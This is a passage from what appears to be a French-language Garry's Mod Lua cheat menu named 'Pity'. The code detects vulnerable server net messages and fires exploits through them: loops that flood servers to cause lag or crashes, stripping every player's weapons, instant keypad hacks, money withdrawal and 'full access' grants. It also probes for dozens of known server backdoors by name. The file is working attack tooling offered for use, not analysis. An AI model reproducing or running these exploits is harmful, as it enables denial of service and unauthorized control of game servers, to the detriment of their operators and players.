11352status = ValidNetString("SBP_addtime")
11353if (status) then
11354CHATPRINT("Exploit Trouvé : Booster Son XP [SBP_addtime]")
11355addExploit( "293","Booster Son XP", "", function()
11356inputFrameExists = true
11357inputFrame = vgui.Create( "DFrame" )
11358inputFrame:SetTitle("Enter the number")
11359inputFrame:SetSize( 400, 75 )
11360inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
11361inputFrame:SetDraggable(true)
11362inputFrame:ShowCloseButton(true)
11363inputFrame:MakePopup()
11364inputFrame.Paint = function( self, w, h )
11365draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
11366end
11367local TextEntry = vgui.Create( "DTextEntry", inputFrame )
11368TextEntry:SetSize( 380, 30 )
11369TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
11370TextEntry:SetText( "100" )
11371TextEntry.OnEnter = function( self )
11372surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("ofn", 0.2, 0, function()
11373for i=1,tonumber(self:GetText()) do
11374net.Start("SBP_addtime")
11375net.SendToServer()
11376end
11377inputFrame:SetVisible(false)
11378end )
11379end
11380end )
11381end
11382
11383status = ValidNetString("StackGhost")
11384if (status) then
11385CHATPRINT("Exploit Trouvé : Booter 24000 #1")
11386addExploit("294", "Booter 24000 #1", "Devient aussi puissant que freezer et adrien", function()
11387surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11388if !(timer.Exists("Booteur24000")) then
11389timer.Create("Booteur24000", 0.02, 0, function()
11390for i = 1, 2000 do
11391net.Start("StackGhost", true)
11392net.WriteInt(69, 32)
11393net.SendToServer()
11394end
11395end)
11396else
11397timer.Stop("Booteur24000")
11398end
11399end)
11400end
11401
11402status = ValidNetString("pac_submit")
11403if (status) then
11404CHATPRINT("Exploit Trouvé: Booter 24000 #2")
11405addExploit("295", "Booter 24000 #2", "Devient aussi puissant que freezer et adrien", function()
11406surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11407timer.Create("Booteur240002", 0.02, 0, function()
11408for i = 1, 1000 do
11409net.Start("pac_submit")
11410net.SendToServer()
11411end
11412end)
11413end)
11414end
11415
11416status = ValidNetString("RequestMAPSize")
11417if (status) then
11418CHATPRINT("Exploit Trouvé : 1tap Le Serveur [MapSize]")
11419addExploit("296", "1tap Le Serveur [MapSize]", "One shoot un serveur", function()
11420surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11421timer.Create("lagger10", 0, 0, function()
11422for i = 1, 400 do
11423net.Start("RequestMAPSize")
11424net.SendToServer()
11425end
11426end)
11427end)
11428end
11429
11430status = ValidNetString("properties")
11431if (status) then
11432CHATPRINT("Exploit Trouvé : El Famoso Exploit Strip - 99% FIX")
11433addExploit("297", "Strip Weapon", "Strip weapon tout les joueurs", function()
11434surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11435for k, v in pairs(player.GetAll()) do
11436if v:IsPlayer() then
11437for k, v in pairs(v:GetWeapons()) do
11438net.Start("properties")
11439net.WriteString("remove", 32)
11440net.WriteEntity(v)
11441net.SendToServer()
11442end
11443end
11444end
11445end)
11446end
11447
11448status = ValidNetString("start_wd_emp")
11449if (status) then
11450CHATPRINT("Exploit Trouvé : Hack Keypad Instantanné")
11451addExploit("298", "Hack Keypad Instantanné", "Plus rapide que les nouilles instantanné", function()
11452surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11453net.Start('start_wd_emp')
11454net.SendToServer()
11455end)
11456end
11457
11458status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
11459if (status) then
11460CHATPRINT("Exploit Trouvé : Faire Crash Le Serveur")
11461addExploit("299", "Faire Crash Le Serveur", "Plutôt Puissant :^)", function()
11462surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11463timer.Create("crasher2", 0, 0, function()
11464for i = 1, 400 do
11465net.Start("pac.net.TouchFlexes.ClientNotify")
11466net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
11467net.SendToServer()
11468end
11469end)
11470end)
11471end
11472
11473status = ValidNetString("ItemStoreDrop")
11474if (status) then
11475CHATPRINT("Exploit Trouvé : Crée Des Lags Item Store")
11476addExploit("300", "Crée Des Lags Item Store", "Item store leak c'est pas cool :/", function()
11477surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11478timer.Create("booteur24000items", 0, 0, function()
11479for i = 1, 1000 do
11480net.Start("ItemStoreDrop")
11481net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
11482net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
11483net.SendToServer()
11484end
11485end)
11486end)
11487end
11488
11489status = ValidNetString("TFA_Attachment_RequestAll")
11490if (status) then
11491CHATPRINT("Exploit Trouvé : Lags Avec Des Armes TFA")
11492addExploit("301", "Lags Avec Des Armes TFA", "Oublie pas de porter du TFA", function()
11493surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11494timer.Create("lagger20", 0.02, 0, function()
11495for i = 1, 4400 do
11496net.Start("TFA_Attachment_RequestAll", true)
11497net.SendToServer()
11498end
11499end)
11500end)
11501end
11502
11503status = ValidNetString("ts_buytitle")
11504if (status) then
11505CHATPRINT("Exploit Trouvé : Crée Des Lags #47 [ts_buytitle]")
11506addExploit("302", "Crée Des Lags #47", "Title Store c'est pas ouf", function()
11507surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11508timer.Create("lagger47", 0, 0, function()
11509for i = 1, 1000 do
11510net.Start("ts_buytitle", true)
11511net.WriteTable({})
11512net.WriteTable({})
11513net.WriteTable({})
11514net.SendToServer()
11515end
11516end)
11517end)
11518end
11519
11520
11521status = ValidNetString("disaster_enable")
11522if (status) then
11523CHATPRINT("Exploit Trouvé : Recevoir Les Easter Eggs 88")
11524addExploit( "303","Recevoir Les Easter Eggs 88", "", function()
11525surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") RunConsoleCommand("say", "izi")
11526RunConsoleCommand("88Zilnix")
11527net.Start("disaster_enable")
11528net.SendToServer()
11529--("Vous avez reçu les easter eggs 88 :D")
11530end)
11531end
11532
11533status = ValidNetString("EnterpriseWithdraw")
11534if (status) then
11535CHATPRINT("Exploit Trouvé : Entreprise Trouvé! [EnterpriseWithdraw]")
11536addExploit( "304","Entreprise Trouvé!", "Exploit Du R8 (Soit disant l'un des meilleurs)", function()
11537surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11538net.Start("EnterpriseWithdraw")
11539net.WriteInt(100, 32)
11540net.SendToServer()
11541end )
11542end
11543
11544status = ValidNetString("SetPermaKnife")
11545if (status) then
11546CHATPRINT("Exploit Trouvé : Couteau Permanent / Full Acès Serveur [SetPermaKnife]")
11547addExploit( "305","Couteau Permanent", "Reçois Un Couteau Permanent Ou Un Acès A Tout Sur Le Serveur Avec La Commande gibe_weapon", function()
11548surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") function permaknifepls(ply,cmd,args,argStr)
11549local ply = LocalPlayer()
11550net.Start( "SetPermaKnife" )
11551net.WriteString( string.TrimRight(argStr,".lua") )
11552net.SendToServer()
11553end
11554concommand.Add("gibe_weapon",permaknifepls)
11555end )
11556end
11557
11558print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
11559print( "Exploits check" )
11560print( "Check terminé" )
11561
11562else
11563local TextHomeza = vgui.Create( "DPanel", Exploits )
11564TextHomeza:SetSize(1000,650)
11565TextHomeza.Paint = function( self, w, h )
11566draw.SimpleText("SNTE détecté. Risque de ban", "pity_home3", 330, 235, Color(255, 74, 74,255), 0, 1)
11567draw.SimpleText("Exploits désactivés", "pity_home2", 440, 265, Color(255, 255, 255,200), 0, 1)
11568end
11569end
11570end
11571
11572function BD.QuickFireBackdoor()
11573
11574if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then NOTIFICATIONNO("Veuillez séléctionner une backdoor présente") return end
11575
11576if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
11577
11578end
11579
11580concommand.Add("runbd", BD.QuickFireBackdoor)
11581
11582/*==========================
11583|==== Los Famosos Local ====|
11584==========================*/
11585
11586local givemeid = LocalPlayer():SteamID()
11587local ply = LocalPlayer()
11588local asphyxnet = "";
11589local n = net
11590local nr = n.Receive
11591local s = n.ReadString
11592local NBRBackdoor = 0
11593local selectedplayers = {}
11594local selectedbackdoor = ""
11595
11596
11597
11598/*=======================
11599|==== Check Netstring ===|
11600========================*/
11601
11602concommand.Add("asnet", function()
11603local netstrings = {}
11604for i = 1, 9999 do
11605local asnet = util.NetworkIDToString( i )
11606if asnet then MsgC (Color(math.random(1,25),math.random(1,25),math.random(1,25)), "[NetString Détécté] : "..i.." = ") MsgC (Color(math.random(254,255),math.random(254,255),math.random(254,255)),""..asnet.." \n" ) else break end
11607end
11608end)
11609
11610
11611
11612/*=======================
11613|===== MOTDGD KILL =====|
11614========================*/
11615
11616if(istable(MOTDgd))then
11617MOTDgd = {}
11618function MOTDgd.Show() end
11619function MOTDgd.GetIfSkip() return true end
11620print "pas de pub"
11621end
11622
11623
11624
11625
11626
11627local backdoorScrollPanel = vgui.Create( "DScrollPanel", netcmd )
11628backdoorScrollPanel:Dock( FILL )
11629
11630local triggeringbd = "";
11631
11632function triggeringnetcall( str )
11633local status, error = pcall( net.Start, str )
11634return status
11635end
11636
11637if( triggeringnetcall("Ulx_Error_88") ) then
11638triggeringbd = "Mining"
11639chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11640else
11641end
11642
11643if( triggeringnetcall("FAdmin_Notification_Receiver") ) then
11644triggeringbd = "Crero"
11645chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11646else
11647end
11648
11649if( triggeringnetcall("DarkRP_ReceiveData") ) then
11650triggeringbd = "FAdmin"
11651chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11652else
11653end
11654
11655if( triggeringnetcall("fijiconn") ) then
11656triggeringbd = "Pitybd"
11657chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11658else
11659end
11660
11661if( triggeringnetcall("Weapon_88") ) then
11662triggeringbd = "Weapon"
11663chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11664else
11665end
11666
11667if( triggeringnetcall("nostrip") ) then
11668triggeringbd = "Nostrip"
11669chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11670else
11671end
11672
11673if( triggeringnetcall("SessionBackdoor") ) then
11674triggeringbd = "Session"
11675chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11676else
11677end
11678
11679if( triggeringnetcall("DarkRP_AdminWeapons") ) then
11680triggeringbd = "DarkRP_n"
11681chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11682else
11683end
11684
11685if( triggeringnetcall("thefrenchenculer") ) then
11686triggeringbd = "frenculer"
11687chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11688else
11689end
11690
11691
11692if( triggeringnetcall("Fix_Keypads") ) then
11693triggeringbd = "Fix_Keypads"
11694chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11695else
11696end
11697
11698if( triggeringnetcall("_CAC_ReadMemory") ) then
11699triggeringbd = "CAC"
11700chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11701else
11702end
11703
11704if( triggeringnetcall("Remove_Exploiters") ) then
11705triggeringbd = "Exploiters"
11706chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11707else
11708end
11709
11710if( triggeringnetcall("MoonMan") ) then
11711triggeringbd = "MoonMan"
11712chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11713else
11714end
11715
11716if( triggeringnetcall("disablebackdoor") ) then
11717triggeringbd = "disableb"
11718chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11719else
11720end
11721
11722if( triggeringnetcall("Sbox_itemstore") ) then
11723triggeringbd = "Sbox"
11724chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11725else
11726end
11727
11728if( triggeringnetcall("Sbox_darkrp") ) then
11729triggeringbd = "Sbox2"
11730chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11731else
11732end
11733
11734if( triggeringnetcall("R8") ) then
11735triggeringbd = "R8"
11736chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11737else
11738end
11739
11740if( triggeringnetcall("c") ) then
11741triggeringbd = "c"
11742chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11743else
11744end
11745
11746if( triggeringnetcall("_cac_") ) then
11747triggeringbd = "_cac_"
11748chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11749else
11750end
11751
11752if( triggeringnetcall("_Defqon") ) then
11753triggeringbd = "_Defqon"
11754chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11755else
11756end
11757
11758if( triggeringnetcall("noclipcloakaesp_chat_text") ) then
11759triggeringbd = "nck"
11760chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11761else
11762end
11763
11764if( triggeringnetcall("Sandbox_ArmDupe") ) then
11765triggeringbd = "ArmDupe"
11766chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11767else
11768end
11769
11770if( triggeringnetcall("ITEM") ) then
11771triggeringbd = "ITEM (non-compatible)"
11772chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11773
11774end
11775
11776if( triggeringnetcall("fix") ) then
11777triggeringbd = "fix (non-compatible)"
11778chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11779
11780end
11781
11782if( triggeringnetcall("ULX_QUERY2") ) then
11783triggeringbd = "ULX_QUERY2 (non-compatible)"
11784chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11785
11786end
11787
11788if( triggeringnetcall("Sandbox_GayParty") ) then
11789triggeringbd = "Sandbox_GayParty (non-compatible)"
11790chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11791
11792end
11793
11794if( triggeringnetcall("_CAC_G") ) then
11795triggeringbd = "_CAC_G (non-compatible)"
11796chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11797
11798end
11799
11800if( triggeringnetcall("fellosnake") ) then
11801triggeringbd = "fellosnake (non-compatible)"
11802chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11803
11804end
11805
11806if( triggeringnetcall("stoppk") ) then
11807triggeringbd = "stoppk (non-compatible)"
11808chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11809
11810end
11811
11812if( triggeringnetcall("changename") ) then
11813triggeringbd = "changename (non-compatible)"
11814chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11815
11816end
11817
11818if( triggeringnetcall("Sbox_Message") ) then
11819triggeringbd = "Sbox_Message (non-compatible)"
11820chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11821
11822end
11823
11824if( triggeringnetcall("Sbox_gm_attackofnullday_key") ) then
11825triggeringbd = "Sbox_gm_attackofnullday_key (non-compatible)"
11826chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11827
11828end
11829
11830if( triggeringnetcall("m9k_explosionradius") ) then
11831triggeringbd = "m9k_explosionradius (non-compatible)"
11832chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11833
11834end
11835
11836if( triggeringnetcall("m9k_explosive") ) then
11837triggeringbd = "m9k_explosive (non-compatible)"
11838chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11839
11840end
11841
11842if( triggeringnetcall("arivia") ) then
11843triggeringbd = "arivia (non-compatible)"
11844chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11845
11846end
11847
11848if( triggeringnetcall("_Warns") ) then
11849triggeringbd = "_Warns (non-compatible)"
11850chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11851
11852end
11853
11854if( triggeringnetcall("pjHabrp9EY") ) then
11855triggeringbd = "pjHabrp9EY (non-compatible)"
11856chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11857end
11858
11859if( triggeringnetcall("_Raze") ) then
11860triggeringbd = "_Raze (non-compatible)"
11861chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11862
11863end
11864
11865if( triggeringnetcall("Þ� ?D)◘") ) then
11866triggeringbd = "Þ� ?D)◘ (non-compatible)"
11867chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11868
11869end
11870
11871if( triggeringnetcall("PlayerItemPickUp") ) then
11872triggeringbd = "PlayerItemPickUp (non-compatible)"
11873chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11874
11875end
11876
11877if( triggeringnetcall("echangeinfo") ) then
11878triggeringbd = "echangeinfo (non-compatible)"
11879chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11880
11881end
11882
11883if( triggeringnetcall("fourhead") ) then
11884triggeringbd = "fourhead (non-compatible)"
11885chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11886
11887end
11888
11889if( triggeringnetcall("DefqonBackdoor") ) then
11890triggeringbd = "DefqonBackdoor (non-compatible)"
11891chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11892
11893end
11894
11895if( triggeringnetcall("xenoexistscl") ) then
11896triggeringbd = "xenoexistscl (non-compatible)"
11897chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11898
11899end
11900
11901if( triggeringnetcall("cvaraccess") ) then
11902triggeringbd = "cvaraccess (non-compatible)"
11903chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11904
11905end
11906
11907if( triggeringnetcall("NoNerks") ) then
11908triggeringbd = "NoNerks (non-compatible)"
11909chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11910
11911end
11912
11913if( triggeringnetcall("cucked") ) then
11914triggeringbd = "cucked (non-compatible)"
11915chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11916
11917end
11918
11919if( triggeringnetcall("OldNetReadData") ) then
11920triggeringbd = "OldNetReadData (non-compatible)"
11921chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11922end
11923
11924if( triggeringnetcall("DarkRP_UTF8") ) then
11925triggeringbd = "DarkRP_UTF8 (non-compatible)"
11926chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11927else
11928end
11929
11930if( triggeringnetcall("fix") ) then
11931triggeringbd = "fix (non-compatible)"
11932chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11933
11934else
11935end
11936
11937if( triggeringnetcall("asunalabestwaifu") ) then
11938triggeringbd = "asunalabestwaifu (non-compatible)"
11939chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11940
11941else
11942end
11943
11944if( triggeringnetcall("__G____CAC") ) then
11945triggeringbd = "__G____CAC (non-compatible)"
11946chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11947
11948else
11949end
11950
11951if( triggeringnetcall("AbSoluT") ) then
11952triggeringbd = "AbSoluT (non-compatible)"
11953chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11954
11955else
11956end
11957
11958if( triggeringnetcall("Gamemode_get") ) then
11959triggeringbd = "Gamemode_get (non-compatible)"
11960chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11961
11962else
11963end
11964
11965if( triggeringnetcall("z") ) then
11966triggeringbd = "z (non-compatible)"
11967chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11968
11969else
11970end
11971
11972if( triggeringnetcall("cvardel") ) then
11973triggeringbd = "cvardel (non-compatible)"
11974chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11975else
11976end
11977
11978if( triggeringnetcall("jesuslebg") ) then
11979triggeringbd = "jesuslebg (non-compatible)"
11980chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11981else
11982end
11983
11984if( triggeringnetcall("effects_en") ) then
11985triggeringbd = "effects_en (non-compatible)"
11986chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
11987
11988else
11989end
11990
11991if( triggeringnetcall("file") ) then
11992triggeringbd = "file (non-compatible)"
11993chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
11994
11995else
11996end
11997
11998if( triggeringnetcall("_Warns") ) then
11999triggeringbd = "_Warns (non-compatible)"
12000chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12001
12002else
12003end
12004
12005if( triggeringnetcall("_GaySploit") ) then
12006triggeringbd = "_GaySploit (non-compatible)"
12007chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12008
12009else
12010end
12011
12012if( triggeringnetcall("slua") ) then
12013triggeringbd = "slua (non-compatible)"
12014chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12015
12016else
12017end
12018
12019if( triggeringnetcall("BOOST_FPS") ) then
12020triggeringbd = "BOOST_FPS (non-compatible)"
12021chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12022
12023else
12024end
12025
12026if( triggeringnetcall("gag") ) then
12027triggeringbd = "gag (non-compatible)"
12028chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12029
12030else
12031end
12032
12033if( triggeringnetcall("_cac_") ) then
12034triggeringbd = "_cac_ (non-compatible)"
12035chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12036
12037else
12038end
12039
12040if( triggeringnetcall("PlayerItemPickUp") ) then
12041triggeringbd = "PlayerItemPickUp (non-compatible)"
12042chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12043
12044else
12045end
12046
12047if( triggeringnetcall("m9k_explosive") ) then
12048triggeringbd = "m9k_explosive (non-compatible)"
12049chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12050else
12051end
12052
12053if( triggeringnetcall("mecthack") ) then
12054triggeringbd = "mecthack (non-compatible)"
12055chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12056else
12057end
12058
12059if( triggeringnetcall("PlayerCheck") ) then
12060triggeringbd = "PlayerCheck (non-compatible)"
12061chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12062else
12063end
12064
12065if( triggeringnetcall("88") ) then
12066triggeringbd = "88 (non-compatible)"
12067chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12068else
12069end
12070--if triggeringbd == "" then
12071--chat.AddText(Color(0, 0, 0), "[", "Pity", "] ", Color( 255, 0, 0 ), "Aucune backdoor présente" )
12072--else
12073--end
12074
12075
12076
12077
12078
12079
12080/*===========================
12081|===== Pity GUI =====|
12082===========================*/
12083surface.CreateFont("clsbtn",{font = "Arial", size = 15, weight = 0, antialias = 0})
12084
12085/*================================
12086|===== Pity EXPLOITS =====|
12087=================================*/
12088
12089concommand.Add("rainbow",function()
12090hook.Add("Think", "Rainbow", function()
12091local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
12092LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
12093LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
12094end )
12095end )
12096
12097function random_string(length)
12098math.randomseed(os.time())
12099
12100if length > 0 then
12101return random_string(length - 1) .. charset[math.random(1, #charset)]
12102else
12103return ""
12104end
12105end
12106
12107local s = {}
12108s.duel = {}
12109s.duel[1] = table.Random( player.GetAll() )
12110s.duel[2] = table.Random( player.GetAll() )
12111s.duel[2] = 3
12112s.duel[3] = -9999999
12113
12114
12115
12116
12117
12118//////////// [CLEAR CHAT] ////////////
12119
12120function clearchat()
12121for i = 0, 100 do
12122chat.AddText(" ")
12123end
12124end
12125
12126//////////// [VAPE] ////////////
12127
12128function Vape()
12129timer.Simple(0, function() RunConsoleCommand("+attack") end )
12130timer.Simple(5.134, function() RunConsoleCommand("-attack") end )
12131end
12132concommand.Add("vape", Vape)
12133concommand.Add("clearchat", clearchat)
12134
12135function Initialize()
12136net.Receive("DL_Answering_global", function(_len)end) // Stop LocalPlayer from getting kicked whilst kicking all
12137net.Receive( "metro_notification",function() // Disable Metro Notification
12138return
12139end)
12140
12141//////////// Font Creation ////////////
12142--
12143surface.CreateFont( "Arial", {
12144font = "Arial",
12145size = 18,
12146} )
12147--
12148surface.CreateFont( "Calibri-sm", {
12149font = "Calibri",
12150size = 15,
12151} )
12152--
12153surface.CreateFont( "Calibri-l", {
12154font = "Calibri",
12155size = 21,
12156} )
12157--
12158surface.CreateFont( "tahoma", {
12159font = "Tahoma",
